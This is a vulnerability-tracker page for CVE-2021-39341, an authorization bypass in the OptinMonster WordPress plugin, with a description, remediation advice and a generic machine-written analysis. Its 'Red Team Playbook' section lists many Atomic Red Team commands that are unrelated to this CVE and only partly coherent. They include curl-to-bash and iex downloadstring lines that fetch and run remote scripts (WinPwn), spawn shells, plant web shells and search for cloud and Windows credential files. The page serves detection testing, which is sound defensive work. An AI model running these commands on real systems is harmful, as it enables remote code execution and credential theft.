CVE-2021-39341
Overview
This vulnerability is an authorization bypass in the OptinMonster WordPress plugin caused by insufficient validation in the logged_in_or_has_api_key function within the OMAPI/RestApi.php component. The flawed authorization logic allows unauthorized access to sensitive API endpoints responsible for updating plugin settings. The affected component is the REST API interface handling user authentication and permission checks in versions up to 2.6.4.
Vulnerability Description
The OptinMonster WordPress plugin is vulnerable to sensitive information disclosure and unauthorized setting updates due to insufficient authorization validation via the logged_in_or_has_api_key function in the ~/OMAPI/RestApi.php file that can used to exploit inject malicious web scripts on sites with the plugin installed. This affects versions up to, and including, 2.6.4.
Impact
An attacker with network access can exploit this vulnerability without any authentication or user interaction, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). Successful exploitation allows disclosure of sensitive information and unauthorized modification of plugin settings, potentially enabling injection of malicious scripts on affected WordPress sites. This can lead to data breaches, site defacement, or further compromise within the hosting environment.
Solution
Users should upgrade the OptinMonster plugin to a version later than 2.6.4 where the authorization validation flaw is corrected. Detailed patch instructions and version updates are available in the Wordfence vulnerability advisory at https://wordfence.com/vulnerability-advisories/#CVE-2021-39341. No specific workaround is provided; applying the update is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the OptinMonster WordPress plugin is characterized by insufficient authorization validation within the logged_in_or_has_api_key function, located in the RestApi.php file. This flaw allows unauthorized users to access sensitive information and modify settings without proper authentication. Specifically, the lack of stringent checks means that an attacker could exploit this weakness to inject malicious web scripts, potentially leading to further compromise of the affected site. The vulnerability affects all versions up to and including 2.6.4, making it critical for users of this plugin to assess their exposure and take appropriate action.
Attack vectors for this vulnerability are primarily web-based, leveraging the plugin's API endpoints that do not adequately verify user permissions. An attacker could craft a request to the vulnerable API, bypassing authentication mechanisms. This could be done by either exploiting a compromised user account or directly targeting the API if it is publicly accessible. Once access is gained, the attacker could manipulate settings, extract sensitive data, or deploy malicious scripts that could execute in the context of the site’s users. Scenarios may include altering marketing campaigns, accessing user data, or even redirecting users to malicious sites, thereby amplifying the attack's impact.
The real-world implications of this vulnerability can be significant, particularly for businesses that rely on the OptinMonster plugin for lead generation and customer engagement. The unauthorized disclosure of sensitive information could lead to data breaches, resulting in legal repercussions and loss of customer trust. Furthermore, if an attacker successfully injects malicious scripts, it could lead to website defacement, loss of service, or the distribution of malware to site visitors. The potential for reputational damage and financial loss is substantial, especially for organizations that handle sensitive customer data or rely heavily on their online presence for revenue generation.
To detect and mitigate this vulnerability, organizations should first conduct a thorough assessment of their WordPress installations, focusing on the OptinMonster plugin version in use. Regular vulnerability scanning and penetration testing can help identify potential weaknesses before they are exploited. It is crucial to update the plugin to the latest version, as developers typically release patches to address known vulnerabilities. Additionally, implementing robust access controls and monitoring API usage can help prevent unauthorized access. Organizations should also consider employing web application firewalls (WAF) to filter out malicious requests and enhance their overall security posture.
In conclusion, the vulnerability within the OptinMonster WordPress plugin poses a serious threat to website security and operational integrity. The combination of insufficient authorization checks and the potential for script injection creates a pathway for attackers to exploit affected sites. Organizations must prioritize the detection and remediation of this vulnerability to safeguard their data, maintain customer trust, and protect their business from the cascading effects of a security breach. By staying vigilant and proactive in their security measures, businesses can mitigate the risks associated with this and similar vulnerabilities in the future.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Optinmonster | Optinmonster | All |
cpe:2.3:a:optinmonster:optinmonster:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-39341 |
| wordfence.com |
GitHub CVE
x_refsource_MISC
|
https://www.wordfence.com/blog/2021/10/1000000-sites-affected-by-optinmonster-vulnerabilities/ |
| wordfence.com |
GitHub CVE
x_refsource_MISC
|
https://wordfence.com/vulnerability-advisories/#CVE-2021-39341 |
| plugins.trac.wordpress.org |
GitHub CVE
x_refsource_MISC
|
https://plugins.trac.wordpress.org/browser/optinmonster/trunk/OMAPI/RestApi.php?rev=2606519#L1460 |